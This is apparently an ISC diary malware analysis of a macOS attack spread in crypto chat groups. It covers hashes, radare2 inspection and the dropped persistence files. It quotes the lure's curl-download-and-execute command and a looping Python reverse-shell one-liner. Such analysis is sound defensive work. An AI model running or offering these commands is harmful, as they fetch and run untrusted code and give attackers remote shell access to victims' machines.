Crypto community target of MacOS malware

Published: 2018-06-29
Last Updated: 2018-07-03 08:33:37 UTC
by Remco Verhoef (Version: 2)
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Previous days we've seen multiple MacOS malware attacks, originating within crypto related Slack or Discord chats groups by impersonating admins or key people. Small snippets are being shared, resulting in downloading and executing a malicious binary. 

Users are asked to executed a script:
cd /tmp && curl -s curl $MALICIOUS_URL > script && chmod +x script && ./script

A file will be downloaded by curl to /tmp/script and executed. The file is a large mach064 binary (34M), rating a perfect score of 0 / 60 on virustotal. 


Hashes of the file:
$ rahash2 -a all ./script
./script: 0x00000000-0x021c838e md5: 9c9fbf7c1af80fa97b20e1de56b2ffc8
./script: 0x00000000-0x021c838e sha1: 8b0ddba0c4b284124db5adf95d37c37d2f01da10
./script: 0x00000000-0x021c838e sha256: 46010724b906982297c3eff67389d951671c04ec1dbc103826e41a0fd38344c7
./script: 0x00000000-0x021c838e sha384: 8f8c4b6aec234cb9d38f567a98e35e5167975f5ba160d538ba914d4f0d21defb353d6d1db15e6b4ae94df49e5b42175f
./script: 0x00000000-0x021c838e sha512: 73a58fde42631e9d3a00ac5adc01ed3c19dde69d453bba929f0d4bab0d7dda6f821a77cc5a816b4bdb5517fd543ae4c587a780ccf7a707d3cec818a2586939e8

To inspect the binary, I'm using Radare2:
[0x100000e00]> i
blksz    0x0
block    0x100
fd       3
file     /mnt/script
format   mach064
iorw     false
mode     r-x
size     0x21c838f
humansz  33.8M
type     Executable file
arch     x86
binsz    35423119
bintype  mach0
bits     64
canary   true
class    MACH064
crypto   false
endian   little
havecode true
intrp    /usr/lib/dyld
lang     cxx
linenum  false
lsyms    false
machine  x86 64 all
maxopsz  16
minopsz  1
nx       false
os       macos
pcalign  0
pic      false
relocs   false
static   false
stripped true
subsys   darwin
va       true

Further investigation of the strings within the binary show references to path /Users/zeit/pkg-fetch and to the Google V8 javascript engine. This leads me to the javascript to binary "compiler" called pkg. Pkg packages javascript applications together with nodejs as a standalone executable. Building the example application of pkg gives a similar binary structure as the one we are investigating. 

During the pkg process, these files where included:
0x21b0cab: /snapshot/script/script.js
0x21b24a5: /snapshot/script/sudo.js
0x21b4578: /snapshot/script/node_modules/read/lib/read.js
0x21b687d: /snapshot/script/node_modules/pidof/lib/pidof.js
0x21b797a: /snapshot/script/node_modules/inpath/lib/inpath.js
0x21b8703: /snapshot/script/node_modules/mute-stream/mute.js

Private packages are stored as V8 compilations without source, which makes it a bit more difficult to reverse engineer. It is much easier to just run the file with instrumentation in a lab environment.

On MacOS binary activity can be instrumented using dtruss, much like strace works on Linux:
$ dtruss -f ./script

During execution, rights are elevated using sudo and the following files written:

while :
    python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'
    sleep 5

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">

The bash script (which runs a python command) tries to connect to at port 1337 within a loop and the python code creates a reverse shell. To ensure execution during startup it creates a launch daemon. At the moment I was testing this, the reverse shell failed to connect. 

There are also references to dumpdummy, but those files weren't written:

  • /Users/Shared/dumpdummy
  • /tmp/dumpdummy

CrownCloud, a german based provider is the owner of the block of and the server appears to be located in the Netherlands.



  • /var/root/
  • /Users/Shared/dumpdummy
  • /Library/LaunchDaemons/com.startup.plist
  • /tmp/
  • /tmp/com.startup.plist
  • /tmp/dumpdummy

If you have any information about this, create a comment or contact me.

Remco Verhoef (@remco_verhoef)
ISC Handler - Founder of DutchSec

Keywords: crypto macos reverse
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